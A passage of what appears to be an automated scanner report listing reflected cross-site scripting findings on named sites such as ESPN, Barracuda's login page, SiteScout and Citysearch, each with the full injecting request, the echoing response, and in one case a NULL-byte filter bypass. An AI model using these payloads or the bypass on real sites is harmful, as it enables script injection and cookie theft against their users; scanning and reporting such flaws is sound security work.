GET /ab?enc=zszMzMzM7D_NzMzMzMzsPwAAAMDMzOw_zczMzMzM7D_NzMzMzMzsP6-N1StXo8pzvNv2i6g_Cj5JfmVNAAAAADchAAC1AAAAagEAAAIAAAB0-AIA0WMAAAEAAABVU0QAVVNEACwB-gDNClQApQMBAgUCAAQAAAAAhS4AGgAAAAA.&tt_code=vert-63&udj=uf%28%27a%27%2C+10117%2C+1298497097%29%3Buf%28%27c%27%2C+49291%2C+1298497097%29%3Buf%28%27r%27%2C+194676%2C+1298497097%29%3Bppv%289239%2C+%278343660854450163119%27%2C+1298497097%2C+1299706697%2C+49291%2C+25553%29%3B&cnd=!Yxa9ZAiLgQMQ9PALGAAg0ccBKFQxAAAAwMzM7D9CEwgAEAAYACABKP7__________wFIAFAAWM0VYABo6gI.5c463'-alert(1)-'ba5a810b394&referrer=http://www.komonews.com/weather&pp=TWV-SQAH9ygK7F4kAKxMFELM_cWJgyGndva2MQ&pubclick=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBBVmNSX5lTajuH6S8sQeUmLEF1PX12QHs56PgHNzOmvFCABABGAEgADgBUIDH4cQEYMmGo4fUo4AQggEXY2EtcHViLTI3MzM5OTQzMTU5NjI2MzOyARB3d3cua29tb25ld3MuY29tugEKMzAweDI1MF9hc8gBCdoBH2h0dHA6Ly93d3cua29tb25ld3MuY29tL3dlYXRoZXKYArQBwAIEyALE5swWqAMB6AM_6AO4KugDvAToA7kp9QMAAABE9QMgAAAA%26num%3D1%26sig%3DAGiWqtys2Mfisw0UXTlYtNy6D11F57DF6w%26client%3Dca-pub-2733994315962633%26adurl%3D HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChIIr7gCEAoYASABKAEwtPyV6wQQtPyV6wQYAA..; sess=1; uuid2=4470455573253905340; anj=Kfu=8fG5+^E:3F.0s]#%2L_'x%SEV/i#-WZ!z6WIpbjn!e5'S.ASR/7l([H.cpVGe8tPtQ-y5#we@ie65CB#S!9Y^vP[KF^P'%_EYX5)gWYmv-[1%xvmrNHt.[<D(7u)aj^!iH1rT^=*7C^Bjc%C9:V]:>i#xK^@g2k_woCAWF@?sM.MP<1ix2hdXO=Pl'/PbHH*j^3)C6XZhUC$K!+.kQ]f9jkt)1ur:'MK@Nx4=0i7Jr<lXda`#HI#!f

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Thu, 24-Feb-2011 21:42:44 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4470455573253905340; path=/; expires=Tue, 24-May-2011 21:42:44 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/javascript
Set-Cookie: uuid2=4470455573253905340; path=/; expires=Tue, 24-May-2011 21:42:44 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG7DHE:3F.0s]#%2L_'x%SEV/i#-$J!z6WIpbjn!e5'S.ASR/7l([H.cpVGe8tPtQ-y5#we@ie65CB#S!9Y^vP[KF^P'%_EYX5)gWYmv-[1%xvmrNHt.[<D(7u)aj^!iH1rT^=*7C^Bjc%C9:V]:>i#xK^@g2k_woCAWF@?sM.MP<1ic[d7oDDJ$2YVA<8r(ccEO=Pl'/PbFsX??`gC6X[1UC$K!+.kQaf9jkt):tzmY(.j84K]4XtqIGp!x$aQ6a4:5; path=/; expires=Tue, 24-May-2011 21:42:44 GMT; domain=.adnxs.com; HttpOnly
Date: Wed, 23 Feb 2011 21:42:44 GMT
Content-Length: 1516

document.write('<a href="http://ib.adnxs.com/click/CtejcD0Kxz8K16NwPQrHPwAAAMDMzOw_zczMzMzM7D_NzMzMzMzsP6-N1StXo8pzvNv2i6g_Cj5JfmVNAAAAADchAAC1AAAAagEAAAIAAAB0-AIA0WMAAAEAAABVU0QAVVNEACwB-gDNClQApQMBAgUCAAQAAAAAHilpjAAAAAA./cnd=!Yxa9ZAiLgQMQ9PALGAAg0ccBKFQxAAAAwMzM7D9CEwgAEAAYACABKP7__________wFIAFAAWM0VYABo6gI.5c463'-alert(1)-'ba5a810b394/referrer=http%3A%2F%2Fwww.komonews.com%2Fweather/clickenc=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Faclk%3Fsa%3Dl%26ai%3DBBVmNSX5lTajuH6S8sQeUmLEF1PX12QHs56PgHNzOmvFCABABGAEgADgBUIDH4cQEYMmGo4fUo4AQg
...[SNIP]...

1.131. http://insider.espn.go.com/mlb/blog [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://insider.espn.go.com
Path:   /mlb/blog

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a47a"><script>alert(1)</script>c61540aaab8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /mlb/blog?name=stark_jayson&id=6154671&3a47a"><script>alert(1)</script>c61540aaab8=1 HTTP/1.1
Host: insider.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:13:25 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW06
Set-Cookie: SWID=6E9C9082-DD07-42E9-8207-8AAC74C9B6A1; path=/; expires=Sat, 26-Feb-2031 02:13:25 GMT; domain=.go.com;
Cache-Expires: Sat, 26 Feb 2011 02:18:25 GMT
Content-Length: 63928
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; expires=Tue, 08 Mar 2011 02:13:25 GMT; Path=/; Domain=.go.com
Connection: close
Via: 8810-05/06
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...
<a href="?name=stark_jayson&amp;id=6154671&amp;3a47a"><script>alert(1)</script>c61540aaab8=1&amp;action=login&amp;appRedirect=http://insider.espn.go.com/mlb/blog?name=stark_jayson&id=6154671&3a47a">
...[SNIP]...

1.132. https://login.barracudanetworks.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00185a3"><a>0b39656ae9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 185a3"><a>0b39656ae9 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /?%00185a3"><a>0b39656ae9=1 HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php?40caf%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E570f923664=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1298729756.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/20; __utma=91832325.720058028.1298729756.1298729756.1298729756.1; __utmc=91832325; __utmb=91832325.7.10.1298729756

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 14:38:30 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Thu, 25-Aug-2011 14:38:30 GMT; path=/; domain=.barracudanetworks.com
Set-Cookie: cloud_session=0mbv4o4u95latiga7u03i7e414; path=/; domain=.barracudanetworks.com
Expires: Fri, 26 Feb 2010 09:38:30 -0500
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=0mbv4o4u95latiga7u03i7e414; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5832

<!DOCTYPE html>
<!-- Portal Version 11.02 29121 -->
<html>
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="Content-Version" content="1.1.0">
       <title>Sign In > Barracuda Networks</title>
       
       <li
...[SNIP]...
<a href="/new_account/?service=https://login.barracudanetworks.com/?%00185a3"><a>0b39656ae9=1">
...[SNIP]...

1.133. http://mf.sitescout.com/tag.jsp [h parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mf.sitescout.com
Path:   /tag.jsp

Issue detail

The value of the h request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 66e3a'%3balert(1)//54509da0ddf was submitted in the h parameter. This input was echoed as 66e3a';alert(1)//54509da0ddf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag.jsp?pid=0384790&w=300&h=25066e3a'%3balert(1)//54509da0ddf&rnd=1298497076&cm=http://ib.adnxs.com/click/8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAQMCAAUAAAAAuiTYFwAAAAA./cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC/referrer=http%3A%2F%2Fc5.zedo.com%2Fjsc%2Fc5%2Fff2.html%3Fn%3D305%3Bc%3D5852%2F749%2F1%3Bs%3D421%3Bd%3D9%3Bw%3D300%3Bh%3D250/clickenc=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET%40BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D HTTP/1.1
Host: mf.sitescout.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAgMCAAUAAAAAuyTpFwAAAAA.&pubclick=http://xads.zedo.com/ads2/c%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET@BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D&udj=uf%28%27a%27%2C+577%2C+1298497076%29%3Buf%28%27r%27%2C+202232%2C+1298497076%29%3B&cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC&referrer=http://c5.zedo.com/jsc/c5/ff2.html%3Fn=305%3Bc=5852/749/1%3Bs=421%3Bd=9%3Bw=300%3Bh=250
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0,no-cache,no-store
Pragma: no-cache
Expires: Tue, 11 Oct 1977 12:34:56 GMT
Content-Type: application/x-javascript
Content-Length: 1436
Date: Wed, 23 Feb 2011 21:40:39 GMT


var myRand=parseInt(Math.random()*99999999);

var pUrl = "http://mf.sitescout.com/disp?pid=0384790&cm=http%3A%2F%2Fib.adnxs.com%2Fclick%2F8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQ
...[SNIP]...
<IFRAME SRC="'
+ pUrl
+ '" WIDTH="300" HEIGHT="25066e3a';alert(1)//54509da0ddf" MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR="#000000">
...[SNIP]...

1.134. http://mf.sitescout.com/tag.jsp [pid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mf.sitescout.com
Path:   /tag.jsp

Issue detail

The value of the pid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9c45"%3balert(1)//f523be3e8b3 was submitted in the pid parameter. This input was echoed as e9c45";alert(1)//f523be3e8b3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag.jsp?pid=0384790e9c45"%3balert(1)//f523be3e8b3&w=300&h=250&rnd=1298497076&cm=http://ib.adnxs.com/click/8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAQMCAAUAAAAAuiTYFwAAAAA./cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC/referrer=http%3A%2F%2Fc5.zedo.com%2Fjsc%2Fc5%2Fff2.html%3Fn%3D305%3Bc%3D5852%2F749%2F1%3Bs%3D421%3Bd%3D9%3Bw%3D300%3Bh%3D250/clickenc=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET%40BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D HTTP/1.1
Host: mf.sitescout.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAgMCAAUAAAAAuyTpFwAAAAA.&pubclick=http://xads.zedo.com/ads2/c%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET@BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D&udj=uf%28%27a%27%2C+577%2C+1298497076%29%3Buf%28%27r%27%2C+202232%2C+1298497076%29%3B&cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC&referrer=http://c5.zedo.com/jsc/c5/ff2.html%3Fn=305%3Bc=5852/749/1%3Bs=421%3Bd=9%3Bw=300%3Bh=250
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0,no-cache,no-store
Pragma: no-cache
Expires: Tue, 11 Oct 1977 12:34:56 GMT
Content-Type: application/x-javascript
Content-Length: 1436
Date: Wed, 23 Feb 2011 21:40:35 GMT


var myRand=parseInt(Math.random()*99999999);

var pUrl = "http://mf.sitescout.com/disp?pid=0384790e9c45";alert(1)//f523be3e8b3&cm=http%3A%2F%2Fib.adnxs.com%2Fclick%2F8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAQMCAAUAAAAAu
...[SNIP]...

1.135. http://mf.sitescout.com/tag.jsp [w parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mf.sitescout.com
Path:   /tag.jsp

Issue detail

The value of the w request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 934f2'%3balert(1)//25e8b63311e was submitted in the w parameter. This input was echoed as 934f2';alert(1)//25e8b63311e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag.jsp?pid=0384790&w=300934f2'%3balert(1)//25e8b63311e&h=250&rnd=1298497076&cm=http://ib.adnxs.com/click/8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAQMCAAUAAAAAuiTYFwAAAAA./cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC/referrer=http%3A%2F%2Fc5.zedo.com%2Fjsc%2Fc5%2Fff2.html%3Fn%3D305%3Bc%3D5852%2F749%2F1%3Bs%3D421%3Bd%3D9%3Bw%3D300%3Bh%3D250/clickenc=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET%40BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D HTTP/1.1
Host: mf.sitescout.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAgMCAAUAAAAAuyTpFwAAAAA.&pubclick=http://xads.zedo.com/ads2/c%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET@BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D&udj=uf%28%27a%27%2C+577%2C+1298497076%29%3Buf%28%27r%27%2C+202232%2C+1298497076%29%3B&cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC&referrer=http://c5.zedo.com/jsc/c5/ff2.html%3Fn=305%3Bc=5852/749/1%3Bs=421%3Bd=9%3Bw=300%3Bh=250
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0,no-cache,no-store
Pragma: no-cache
Expires: Tue, 11 Oct 1977 12:34:56 GMT
Content-Type: application/x-javascript
Content-Length: 1436
Date: Wed, 23 Feb 2011 21:40:37 GMT


var myRand=parseInt(Math.random()*99999999);

var pUrl = "http://mf.sitescout.com/disp?pid=0384790&cm=http%3A%2F%2Fib.adnxs.com%2Fclick%2F8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQ
...[SNIP]...
<IFRAME SRC="'
+ pUrl
+ '" WIDTH="300934f2';alert(1)//25e8b63311e" HEIGHT="250" MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR="#000000">
...[SNIP]...

1.136. http://pittsburgh.citysearch.com/guide/bloomfield-pittsburgh-pa/x26amp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pittsburgh.citysearch.com
Path:   /guide/bloomfield-pittsburgh-pa/x26amp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c597d"><script>alert(1)</script>4cc4b11b365 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /guide/bloomfield-pittsburgh-pa/x26amp?c597d"><script>alert(1)</script>4cc4b11b365=1 HTTP/1.1
Host: pittsburgh.citysearch.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:13:25 GMT
Server: Apache-Coyote/1.1
Set-Cookie: abtest=a; path=/; domain=.citysearch.com; expires=Sat, 12-Mar-2011 02:13:25 GMT
Content-Type: text/html;charset=UTF-8
Content-Language: en
Set-Cookie: usrid=feb174af85881661ed80d4e9b52fb930eae49637; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:26 GMT; Path=/
Set-Cookie: cs_session=79ca58bbce2565babfd57e2d990c594c8237bdf5; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:26 GMT; Path=/
Set-Cookie: publisher=citysearch; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:26 GMT; Path=/
Set-Cookie: reqseq=1; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:26 GMT; Path=/
Set-Cookie: recent_geos=8667%7E%7CBloomfield; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:26 GMT; Path=/
Set-Cookie: tseg=444; Domain=.citysearch.com; Expires=Fri, 27-May-2011 02:13:26 GMT; Path=/
Set-Cookie: userSearchLoc=Bloomfield%20%28Pittsburgh%2C%20PA%29%7E%7C8667; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:26 GMT; Path=/
Vary: Accept-Encoding
Connection: close
Content-Length: 58675

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!--[if IE]><![endif]--><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...
<link rel="canonical" href="http://pittsburgh.citysearch.com/guide/bloomfield-pittsburgh-pa/x26amp?c597d"><script>alert(1)</script>4cc4b11b365=1" />
...[SNIP]...

1.137. http://pittsburgh.citysearch.com/guide/pittsburgh-pa/x26amp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pittsburgh.citysearch.com
Path:   /guide/pittsburgh-pa/x26amp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21a0f"><script>alert(1)</script>9c07a67884d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /guide/pittsburgh-pa/x26amp?21a0f"><script>alert(1)</script>9c07a67884d=1 HTTP/1.1
Host: pittsburgh.citysearch.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:13:13 GMT
Server: Apache-Coyote/1.1
Set-Cookie: abtest=a; path=/; domain=.citysearch.com; expires=Sat, 12-Mar-2011 02:13:13 GMT
Content-Type: text/html;charset=UTF-8
Content-Language: en
Set-Cookie: usrid=d69fa7e554d0a10a718d2fe695adaccc8bba1c28; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:13 GMT; Path=/
Set-Cookie: cs_session=60da67a061bc6b32e8cc34ec0bc8d299827a70c5; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:13 GMT; Path=/
Set-Cookie: publisher=citysearch; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:13 GMT; Path=/
Set-Cookie: reqseq=1; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:13 GMT; Path=/
Set-Cookie: recent_geos=69794%7E%7CPittsburgh; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:13 GMT; Path=/
Set-Cookie: tseg=848; Domain=.citysearch.com; Expires=Fri, 27-May-2011 02:13:13 GMT; Path=/
Set-Cookie: userSearchLoc=Pittsburgh%2C%20PA%7E%7C69794; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:13 GMT; Path=/
Vary: Accept-Encoding
Connection: close
Content-Length: 64496

